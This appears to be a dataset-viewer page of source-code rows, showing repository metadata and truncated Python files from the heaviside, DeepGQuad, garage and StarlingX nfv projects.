] | 36 | 2017-01-27T21:28:50.000Z | 2022-03-15T12:29:01.000Z | heaviside/sfn.py | jhuapl-boss/heaviside | 481b232864438a91458f1932ca70fe27476e2846 | [
"Apache-2.0"
] | 10 | 2017-05-03T17:15:30.000Z | 2021-01-07T22:55:08.000Z | heaviside/sfn.py | jhuapl-boss/heaviside | 481b232864438a91458f1932ca70fe27476e2846 | [
"Apache-2.0"
] | 13 | 2017-05-18T15:02:10.000Z | 2021-07-27T23:09:54.000Z | # Copyright 2020 The Johns Hopkins University Applied Physics Laboratory
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required ... | 31.371508 | 107 | 0.590954 |
8eba515d20b05887befb9ca97672bfad36cb65f9 | 2,320 | py | Python | scripts/common/metrics.py | Vasyka/DeepGQuad | 772a461732fc4044a1dee84d2688bf16960e272c | [
"Apache-2.0"
] | null | null | null | scripts/common/metrics.py | Vasyka/DeepGQuad | 772a461732fc4044a1dee84d2688bf16960e272c | [
"Apache-2.0"
] | 5 | 2020-11-13T18:54:36.000Z | 2021-09-08T02:06:06.000Z | scripts/common/metrics.py | Vasyka/DeepGQuad | 772a461732fc4044a1dee84d2688bf16960e272c | [
"Apache-2.0"
] | null | null | null | import torch
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from sklearn.metrics import *
import seaborn as sns
sns.set()
# Accuracy
# def binary_acc(y_pred, y_test):
# y_pred_tag = torch.round(y_pred)
# correct_results_sum = (y_pred_tag == y_test).sum().float()
# acc = correct_res... | 33.142857 | 117 | 0.69569 |
1ec81cee374e638e8b16a21c06068a2328179d40 | 3,527 | py | Python | src/garage/tf/distributions/recurrent_categorical.py | arbenton/garage | 5c398255fbfae375370483f18216996d82590a88 | [
"MIT"
] | 1 | 2020-01-05T14:57:43.000Z | 2020-01-05T14:57:43.000Z | src/garage/tf/distributions/recurrent_categorical.py | lywong92/garage | 96cb8887fcae90531a645d540653010e7fe10fcc | [
"MIT"
] | null | null | null | src/garage/tf/distributions/recurrent_categorical.py | lywong92/garage | 96cb8887fcae90531a645d540653010e7fe10fcc | [
"MIT"
] | 1 | 2020-02-05T00:34:07.000Z | 2020-02-05T00:34:07.000Z | import numpy as np
import tensorflow as tf
from garage.tf.distributions.base import Distribution
from garage.tf.distributions.categorical import Categorical
TINY = 1e-8
class RecurrentCategorical(Distribution):
def __init__(self, dim, name='RecurrentCategorical'):
self._cat = Categorical(dim, name)
... | 38.758242 | 77 | 0.581798 |
caa27ac05d36c4b5b4175c4462e181868e246451 | 17,360 | py | Python | nfv/nfv-vim/nfv_vim/nfvi/_nfvi_infrastructure_module.py | starlingx/nfv | 849c386e84911af0ac8d0df815f911347b39f8d6 | [
"Apache-2.0"
] | 2 | 2020-02-07T19:01:36.000Z | 2022-02-23T01:41:46.000Z | nfv/nfv-vim/nfv_vim/nfvi/_nfvi_infrastructure_module.py | starlingx/nfv | 849c386e84911af0ac8d0df815f911347b39f8d6 | [
"Apache-2.0"
] | 1 | 2021-01-14T12:02:25.000Z | 2021-01-14T12:02:25.000Z | nfv/nfv-vim/nfv_vim/nfvi/_nfvi_infrastructure_module.py | starlingx/nfv | 849c386e84911af0ac8d0df815f911347b39f8d6 | [
"Apache-2.0"
] | 2 | 2021-01-13T08:39:21.000Z | 2022-02-09T00:21:55.000Z | #
# Copyright (c) 2015-2021 Wind River Systems, Inc.
#
# SPDX-License-Identifier: Apache-2.0
#
from nfv_common import debug
from nfv_vim.nfvi._nfvi_infrastructure_plugin import NFVIInfrastructurePlugin
DLOG = debug.debug_get_logger('nfv_vim.nfvi.nfvi_infrastructure_module')
_infrastructure_plugin = None
def nfvi_g... | 29.373942 | 84 | 0.619297 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.